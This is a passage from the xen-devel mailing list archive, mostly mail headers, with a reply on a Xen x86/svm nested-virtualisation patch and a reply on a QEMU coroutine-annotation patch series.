	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIvB-0007XG-F1; Mon, 27 Jul 2026 10:50:57 +0000
Received: by outflank-mailman (input) for mailman id 1371589;
 Mon, 27 Jul 2026 10:50:56 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ross.lagerwall@citrix.com>) id 1woIv9-0007X6-OV
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:50:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woIv9-00GzeW-5M
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:50:55 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ross.lagerwall@citrix.com>)
 id 6a67380f-5cb7-0a2a0a5109dd-0a2a450ccad2-0
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:50:55 +0200
Received: from [52.101.48.44]
 (helo=MW6PR02CU001.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ross.lagerwall@citrix.com>)
 id 6a67380c-f479-0a2a450c0019-3465302c94d3-4
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:50:54 +0200
Received: from CH8PR03MB8274.namprd03.prod.outlook.com (2603:10b6:610:2ba::5)
 by IA1PR03MB8092.namprd03.prod.outlook.com (2603:10b6:208:596::21)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Mon, 27 Jul
 2026 10:50:51 +0000
Received: from CH8PR03MB8274.namprd03.prod.outlook.com
 ([fe80::ebe2:32c1:d2be:a096]) by CH8PR03MB8274.namprd03.prod.outlook.com
 ([fe80::ebe2:32c1:d2be:a096%7]) with mapi id 15.21.0223.017; Mon, 27 Jul 2026
 10:50:51 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ZpKAkcllVGp307+3OHk2TYlG6M0VETCdugxic2425Ax/yMEaTIM2/RgkMxxMf3KLXHD393AuoOwnPPDnDRZfPx7KXN4BIS9m/UowCx01RKknj6UDMthzpzmJcxZBgapLv23Hu1sgiZX/89nbvyNVQRUnzMg0CSzV/bBsGJQo/kNcz8n8lgRSBxULzS/xbrEuY3bp6mjZ0Dk6Fy6rYkksP8cS/3EkuYhqJXJgK8N+QZDcdlRdfmQ9Pf2B65NADdfz6BrnFpRXzBi3SIWtUScWJN3Lo1/W3ZmK/4mrH6VAP0Ol1Z60+mOPGbOrUtciFgc7pBjbI+EIYIhWAyItdzuh6A==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=fZ1TcmxJY9XvlSh2dftL5q91WRz5MPt+xysdhkR34cU=;
 b=aL4Zm96NycO64IgFAYxAfNA0PqK012UuzBQGb4Kn5gSrLRCFM2EYrjJd/XvUD5OvNGuohWI1KK0ci6FrOpuERz6yvmouvL74C4LxnfrAlZW+yBoiFXfOv/DnInyiUaWIAAXcmvwyvkUrNRW9iW0wRj3i5i77BkVWudjT2LuEkiQ8EDPaHSMEzNq7qwszWFUuUuEtcw3n57+gQcvAdcMQbT+bVu36DSACVRFFj0Bob2UmvVFfnrmoOt7/DeKAsDtv/q4T9f474Rb7MhHlTvMZTTcEfqXBSfCB1jAh1alCn8n5kJMShneXj5LzUCxNPS0vZV1mB0rUMXFsATsLbTARmg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=fZ1TcmxJY9XvlSh2dftL5q91WRz5MPt+xysdhkR34cU=;
 b=cHhYBZEXc6SgPxgOSoePFPKcDg0D5d5/zyMM9+eH4Jv64SAFOZm4ECHixB2rg8ntPnQgXsSTKoa4OCvyDwJyyZDvIryyVDMpZLczhxU2DC2VQerHztIbCuAH9lUf78SGvPOFUA2dcmoBXegtKLHGHOBg1DBVzvqLzwncNAiV5u0=
From: Ross Lagerwall <ross.lagerwall@citrix.com>
To: =?gb2312?B?U3RlcGhlbiBDaGVuZyCjqLPM0KG346Op?= <stephen.cheng@citrix.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Andrew Cooper <andrew.cooper3@citrix.com>, Anthony PERARD
	<anthony.perard@vates.tech>, Michal Orzel <michal.orzel@amd.com>, Jan Beulich
	<jbeulich@suse.com>, Julien Grall <julien@xen.org>,
	=?gb2312?B?Um9nZXIgUGF1IE1vbm6opg==?= <roger@xenproject.org>, Stefano
 Stabellini <sstabellini@kernel.org>, Teddy Astie <teddy.astie@vates.tech>,
	Jason Andryuk <jason.andryuk@amd.com>
Subject: Re: [PATCH] x86/svm: require VMSAVEvirt for nested virt
Thread-Topic: [PATCH] x86/svm: require VMSAVEvirt for nested virt
Thread-Index: AQHdHZgDgUepMUDe+06Vza+F9KISebaBKYbP
Date: Mon, 27 Jul 2026 10:50:51 +0000
Message-ID:
 <CH8PR03MB8274B8F533EF3D15C94696F8F0CC2@CH8PR03MB8274.namprd03.prod.outlook.com>
References: <20260727071709.196088-1-stephen.cheng@citrix.com>
In-Reply-To: <20260727071709.196088-1-stephen.cheng@citrix.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
msip_labels:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: CH8PR03MB8274:EE_|IA1PR03MB8092:EE_
x-ms-office365-filtering-correlation-id: f7a69c40-55ea-4659-cbfe-08deebccecc5
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|376014|1800799024|366016|23010399003|38070700021|6133799003|56012099006|11063799006|5023799004|10067099003|18002099003|22082099003|3023799007;
x-microsoft-antispam-message-info:
 raCZu0XQtgXRZVmLZeUbaXmzLUvodgJxYiJ/8N0gxl56gc8SlHpqScVyRYbFIvtXJz0Mn9zwRjS9bo9cfSwgK4QQCSNrG2qjbAuwv+l/ofCsF2kuH0z9FZHkI4Ztp3xIxCxFvQFSbp5ntG8GQPdWKUkg/PL9nvvBhwcqv9+qAPbOURElCFxHUQxv8Yg1+rDEBuE9G6fH+NVMPeELQfaIa4uw6NVMOO7fXKWhf+FYP683pAhEXTaSzupY5UNkilDOO1NF9W6FqTvuo0k3OItFQNnGThm1Ch6a8wLxFa5LWsJ/TRAD+KmFGb9JWjH5jt4j9qQ/9VbvwlsXrn61W/tErT+uimZp+SmSiBLPE56Lw5yIoDDpqEna/z+mJFRYBMJEMXA/VXEuVvXZjZSmmpTc9lV1BeOxcn2xL65h4MAjN3H68uWmsOMiA6vWE70hKO23KAxWy9zqGRQ5Fkf1ATahiMrHMTaHxGk51ALy52goU9HQaOA4su/+dG4UxhwrHs9PYPY4kv7GiT3pgAj/f1VDbvKf3ZRxrSvvUYhk5X0z+U8ifRZZJvU+ljAetGORZYkUTx3u1sdAxl/8qDMhzXgtM6eriX68xHry4jJC0SMMWqJA2bpud9/8UwDZHw5ADp+q6LpQh/1NItRF7dm+Hf3AnAhOdhpxd7VTKXAG2M7CdyJk5/NF1ESqxJs8ImnRTkQUCG64ymm5MV9MowXjHqIhzzbGZTAyAZ6OjrroQ8/2Tqg=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:zh-cn;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8274.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(1800799024)(366016)(23010399003)(38070700021)(6133799003)(56012099006)(11063799006)(5023799004)(10067099003)(18002099003)(22082099003)(3023799007);DIR:OUT;SFP:1101;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?gb2312?B?MEJkaUJsa1RzS0JMS1NlWlVCenNRZ1dDbUpMdU1JdEZiVHZvZFNnakFTZ3JW?=
 =?gb2312?B?Y0hXa1Uyd3hCYkoyY2c4Wk1La0w2T083bGlVYkdrOHJ6VVFuQVlCZGVyYzNU?=
 =?gb2312?B?cGpwRk5CaXdlNEJHaytYZm9VeENTazJYVDlIQnVsaktzNzM0QitUYjd3eHBQ?=
 =?gb2312?B?RHkyNnVZbk8weUVGTDI1OFB5QVNWSWJYN1VOdXgzY0tDd0dWOVJpNnQySjBP?=
 =?gb2312?B?ZWxPbUJUNDJ5dW5OaUVoUHlrV2RDbGd0WGNveXlsM0ZlbEtHRVFaaVU4Q0t2?=
 =?gb2312?B?d2h5d2Y5M3FzLzBuK0VjVU8yQm16WHZiSWJDZVFla0dVYU1vY2VPcTQwZWd0?=
 =?gb2312?B?VmVQTW10Yjg5cnhqMVhDcExsT25Ha3BLdzg5b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?RXhSVWRuZ3IyM3p4Z3BmZzRCZFBpODhqTEkxSTExZUluSks1Wkl6ZWJFL2xL?=
 =?gb2312?B?OUtZQU5RVmtHTmlRWjZsRTVUSVVBUmdaejFwMEdLU2FETXVhYzllbDJTZUlz?=
 =?gb2312?B?aXVhN2d0ZjlRN05VVWNGVkp0dXZ3WDVFalVyYUtHK0g0TjUyTW5zVTNMejBp?=
 =?gb2312?B?N2paYUxLRjdJc2ZpRGlaTWdhWnB1U3dIL0NzWjIwQUg0QVRnTzZGdz09?=
Content-Type: text/plain; charset="gb2312"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8274.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: f7a69c40-55ea-4659-cbfe-08deebccecc5
X-MS-Exchange-CrossTenant-originalarrivaltime: 27 Jul 2026 10:50:51.0879
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: 9NOpu1uCbapE6ZnzMwzCFLw8cX2Ld32iS5DCxmPxm3sVY9LRaWH5WwIUh6rYJ9jIgrEXqNUcYy7PmKPI7gbVzo4NWXzwagopaeMKEa0zKY8=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: IA1PR03MB8092
X-purgate-ID: tlsNG-d25034/1785149455-51538A5B-608E91A5/0/0
X-purgate-type: clean
X-purgate-size: 15904

PiBGcm9tOiBTdGVwaGVuIENoZW5nIKOos8zQobfjo6kgPHN0ZXBoZW4uY2hlbmdAY2l0cml4LmNv
bT4KPiBTZW50OiBNb25kYXksIEp1bHkgMjcsIDIwMjYgODoxNyBBTQo+IFRvOiB4ZW4tZGV2ZWxA
bGlzdHMueGVucHJvamV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ElOU1RSX1ZNTE9BRCAgICAgSU5TVFJfRU5DKFg4NkVNVUxfT1BDKDB4MGYsIDB4
MDEpLCAwMzMyKSAvKiBvY3RhbC1vayAqLwo+IC0jZGVmaW5lIElOU1RSX1ZNU0FWRSAgICAgSU5T
VFJfRU5DKFg4NkVNVUxfT1BDKDB4MGYsIDB4MDEpLCAwMzMzKSAvKiBvY3RhbC1vayAqLwo+ICAj
ZGVmaW5lIElOU1RSX1NUR0kgICAgICAgSU5TVFJfRU5DKFg4NkVNVUxfT1BDKDB4MGYsIDB4MDEp
LCAwMzM0KSAvKiBvY3RhbC1vayAqLwo+ICAjZGVmaW5lIElOU1RSX0NMR0kgICAgICAgSU5TVFJf
RU5DKFg4NkVNVUxfT1BDKDB4MGYsIDB4MDEpLCAwMzM1KSAvKiBvY3RhbC1vayAqLwo+ICAjZGVm
aW5lIElOU1RSX0lOVkxQR0EgICAgSU5TVFJfRU5DKFg4NkVNVUxfT1BDKDB4MGYsIDB4MDEpLCAw
MzM3KSAvKiBvY3RhbC1vayAqLwo+IAo+IGJhc2UtY29tbWl0OiA2NDRlYTZmODQ1MTBhZjI3ZWUx
ODQ3ZTk4MWRmOTQ1YTk0MDY4NDc5Cj4gLS0KPiAyLjQ5LjAKClRoYW5rcywKUm9zcw==


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 10:51:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 10:51:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371596.1619090 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIvv-0007xr-Pg; Mon, 27 Jul 2026 10:51:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371596.1619090; Mon, 27 Jul 2026 10:51:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIvv-0007xk-NA; Mon, 27 Jul 2026 10:51:43 +0000
Received: by outflank-mailman (input) for mailman id 1371596;
 Mon, 27 Jul 2026 10:51:42 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mlureau@redhat.com>) id 1woIvu-0007xa-CG
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:51:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woIvt-007wXz-P1
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:51:41 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mlureau@redhat.com>)
 id 6a673828-bab6-0a2a0a5309dd-0a2a4509869a-36
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:51:41 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mlureau@redhat.com>)
 id 6a67383c-be1a-0a2a45090019-aa0a857cd043-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:51:41 +0200
Received: from mail-pf1-f197.google.com (mail-pf1-f197.google.com
 [209.85.210.197]) by relay.mimecast.com with ESMTP with STARTTLS
 (version=TLSv1.3, cipher=TLS_AES_256_GCM_SHA384) id
 us-mta-138-4oIf53n_OdegldC5ZPlsoQ-1; Mon, 27 Jul 2026 06:51:34 -0400
Received: by mail-pf1-f197.google.com with SMTP id
 d2e1a72fcca58-8485b7e18b4so4411703b3a.1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:51:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1785149500;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=PALmNLZ34+QkRqPoenBk1x1GsUgAG1Wa+236evQz150=;
	b=Sx9HsnPqOtWnduibt7IahnRYBOgNDV97eZsPxidPna2CO9kOXEBAonos3CrwyhSpNKn6GL
	Gn2BlzN3f9qNIeaDc9Wogn0fkywgds48YFV6N1AOBo4H3Y4Rbzrqpjs4VgW44p4BUuQ+9Z
	2q7HmCXdl5RmEb0JpUyDx8S3V4Fad8o=
X-MC-Unique: 4oIf53n_OdegldC5ZPlsoQ-1
X-Mimecast-MFC-AGG-ID: 4oIf53n_OdegldC5ZPlsoQ_1785149493
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785149493; x=1785754293;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=PALmNLZ34+QkRqPoenBk1x1GsUgAG1Wa+236evQz150=;
        b=bgc5GM+Yk0RWkKQtKVUEWfLJl399ptzON3ioB3KTyA4juS1pRNMN7jroHd8AKa/I/G
         u0UkIsqtUOG0wr0Vlyh/hsprYF8HVp/dplNnK9z26D2yuuEKedZuPqBcctzKFWX+CdPK
         U2+vHW4EvyK3MrJidHacbes577kBsm9Bz7VhhIFsgr2NQFmoPce9eaQWcqOqg8Au+1B9
         HIduHxcCEIX1QyoUBxNOwCNirERp+WdvenPfCFQKPXR/fZqo/xr0+YVAuhYPtwkZTzqY
         emtygo4Z650ByBNkM+Cy9E9hVCTGKt2oq1/vb/HKUQiPkhyCVxziGpp5u26aHQPYvjle
         UH9w==
X-Forwarded-Encrypted: i=1; AHgh+RpACfp6G9KkRlHRvkbwPc6URmFh5HLmno4UqERE7PsJYcMFAy7hTC7gv7C0sNPxc8GgpEfuzRH5vW0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwGWnHkGjj1bPtzZnUFRv6JYCkFCJ0mtAQbg4cSy7HnBZErvB0S
	YLRs6jHd4UZQ9WesrCMHIcBAJpMyisAD7WCIkGXAmkJlMOBU3OfebI06I8Q8P3lZbKAoJ/Dcgfm
	YbSAlKx+bhGf15/nhHHeVuiQ0bvk02V+XzB1imfh6pmURpi5m2YcBayw6q5Fo1X+5dJRnCxwHvd
	HJaIrsnpQ9T34Z7C5FvJgFm4kHEKirNrZjfWnB9K2lZv8=
X-Gm-Gg: AR+sD12ShYqehicQGIGAEQTYC0iSD6wDnD83JK70csgbYLqBGz56V3rIJPU/BXslzL9
	gtanq/0pppMw+N10n4mTBrgowdLRB9IeVqMahe6HDpU2FIfQmrs3vE4+XZdyPtTxcBfxk8zZwXk
	KzB/DbwmTrzKjYljTom/ClzCOfeMh9KHiPoBzEsKuy2Y39m+GJM9/w3sylgbKxNZpPBZ5sUV25/
	VB5YETGnvSYVjkWo3FmvN/ZsOOAGwn3NXrtMf6sOx4xccZDMrMYArsi971W3bzH/bH01FTsXNf/
	eA==
X-Received: by 2002:a05:6a00:4648:b0:84e:244a:98e8 with SMTP id d2e1a72fcca58-84e59491059mr6368384b3a.30.1785149493067;
        Mon, 27 Jul 2026 03:51:33 -0700 (PDT)
X-Received: by 2002:a05:6a00:4648:b0:84e:244a:98e8 with SMTP id
 d2e1a72fcca58-84e59491059mr6368359b3a.30.1785149492674; Mon, 27 Jul 2026
 03:51:32 -0700 (PDT)
MIME-Version: 1.0
References: <20260725-co-v2-0-d3552ddb3931@redhat.com>
In-Reply-To: <20260725-co-v2-0-d3552ddb3931@redhat.com>
From: =?UTF-8?B?TWFyYy1BbmRyw6kgTHVyZWF1?= <marcandre.lureau@redhat.com>
Date: Mon, 27 Jul 2026 14:51:20 +0400
X-Gm-Features: AUfX_myf2_jNttAq9V_d7I6y5h_jwqjOgLK2HB5Guezr7Cr4sf4D7xx8j8_zEIA
Message-ID: <CAMxuvazemnngM4-J1QFPwEBaazVnTavxSEbZEe9HGSrri9CjqA@mail.gmail.com>
Subject: Re: [PATCH v2 0/8] coroutine: add missing annotations
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
	Fabiano Rosas <farosas@suse.de>, =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
	John Snow <jsnow@redhat.com>, Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
	Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, qemu-block@nongnu.org, 
	Stefan Hajnoczi <stefanha@redhat.com>, Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
	Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
	"Michael S. Tsirkin" <mst@redhat.com>, Stefano Stabellini <sstabellini@kernel.org>, 
	Anthony PERARD <anthony@xenproject.org>, "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
	xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
	=?UTF-8?Q?Philippe_Mathieu=2DDaud=C3=A9?= <philmd@oss.qualcomm.com>
X-Mimecast-Spam-Score: 0
X-Mimecast-MFC-PROC-ID: rXTxDneZBS8EoK02ET4Jx8PxTbiYxVgJrIIJqODCbUE_1785149493
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-bad1c0/1785149501-BDAC0034-5BD7C95D/0/0
X-purgate-type: clean
X-purgate-size: 3196

Hi

On Sat, Jul 25, 2026 at 1:48=E2=80=AFPM Marc-Andr=C3=A9 Lureau
<marcandre.lureau@redhat.com> wrote:
>
> Hi
>
> Add missing coroutine_fn, coroutine_mixed_fn annotations and fix
> a few related issues across monitor, migration, io, block, and
> 9pfs subsystems.
>
> Signed-off-by: Marc-Andr=C3=A9 Lureau <marcandre.lureau@redhat.com>

I am queuing all except "block: add missing coroutine_fn annotations"
awaiting review

> ---
> Changes in v2:
> - fix some annotations in patch "block: add missing coroutine annotation"
> - collect trailer tags
> - Link to v1: https://lore.kernel.org/qemu-devel/20260720-co-v1-0-fabb4db=
3c204@redhat.com
>
> To: qemu-devel@nongnu.org
> Cc: Markus Armbruster <armbru@redhat.com>
> Cc: Peter Xu <peterx@redhat.com>
> Cc: Fabiano Rosas <farosas@suse.de>
> Cc: "Daniel P. Berrang=C3=A9" <berrange@redhat.com>
> Cc: John Snow <jsnow@redhat.com>
> Cc: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
> Cc: Kevin Wolf <kwolf@redhat.com>
> Cc: Hanna Reitz <hreitz@redhat.com>
> Cc: qemu-block@nongnu.org
> Cc: Stefan Hajnoczi <stefanha@redhat.com>
> Cc: Fam Zheng <fam@euphon.net>
> Cc: "Denis V. Lunev" <den@openvz.org>
> Cc: Christian Schoenebeck <qemu_oss@crudebyte.com>
> Cc: Greg Kurz <groug@kaod.org>
> Cc: "Michael S. Tsirkin" <mst@redhat.com>
> Cc: Stefano Stabellini <sstabellini@kernel.org>
> Cc: Anthony PERARD <anthony@xenproject.org>
> Cc: "Edgar E. Iglesias" <edgar.iglesias@gmail.com>
> Cc: xen-devel@lists.xenproject.org
> Cc: Li Zhijian <lizhijian@fujitsu.com>
>
> ---
> Marc-Andr=C3=A9 Lureau (8):
>       monitor: annotate monitor_qmp_dispatcher_pop_any() as coroutine
>       migration: fix qemu_get_counted_string annotation
>       io: add missing coroutine annotation
>       block: add missing coroutine annotation
>       qcow2: remove invalid qcow2_check_refcounts calls
>       block: add missing coroutine_fn annotations
>       hw/9pfs: annotate V9fsTransport callbacks as coroutine_fn
>       migration/rdma: annotate and simplify wait_comp_channel()
>
>  hw/9pfs/9p.h                 | 26 +++++++++++++++-----------
>  include/block/blockjob_int.h |  2 +-
>  include/io/channel.h         |  4 ++--
>  block/commit.c               |  5 +++--
>  block/crypto.c               | 13 +++++++------
>  block/io.c                   |  8 +++++---
>  block/parallels.c            |  5 +++--
>  block/qcow2-snapshot.c       | 18 ------------------
>  block/qcow2.c                | 12 ++++++++----
>  blockjob.c                   |  3 ++-
>  hw/9pfs/9p.c                 | 31 +++++++++++++++++++------------
>  hw/9pfs/virtio-9p-device.c   | 24 +++++++++++++-----------
>  hw/9pfs/xen-9p-backend.c     | 34 +++++++++++++++++-----------------
>  io/channel.c                 |  5 +++--
>  migration/qemu-file.c        |  2 +-
>  migration/rdma.c             | 12 ++++--------
>  monitor/qmp.c                |  3 ++-
>  17 files changed, 105 insertions(+), 102 deletions(-)
> ---
> base-commit: 300438ffbb8d9430cac2fcc15cba6f482b2c0587
> change-id: 20260720-co-625d98c7dc5e
>
> Best regards,
> --
> Marc-Andr=C3=A9 Lureau <marcandre.lureau@redhat.com>
>



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 11:48:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 11:48:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371618.1619101 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woJoz-0006i9-SH; Mon, 27 Jul 2026 11:48:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371618.1619101; Mon, 27 Jul 2026 11:48:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woJoz-0006i2-OU; Mon, 27 Jul 2026 11:48:37 +0000
Received: by outflank-mailman (input) for mailman id 1371618;
 Mon, 27 Jul 2026 11:48:37 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fa367bc22000e099@swg.vates.tech>)
 id 1woJoz-0006hw-4d
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 11:48:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woJoy-001KPL-Dp
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 13:48:36 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fa367bc22000e099@swg.vates.tech>)
 id 6a67458a-5cb7-0a2a0a5109dd-0a2a4502db7a-46
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 13:48:36 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fa367bc22000e099@swg.vates.tech>)
 id 6a674593-6ca4-0a2a45020019-b9ff1c22a4c7-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 13:48:36 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fa367bc22000e099.007 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 27 Jul 2026 11:48:32 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 94EA481569;
 Mon, 27 Jul 2026 13:48:31 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
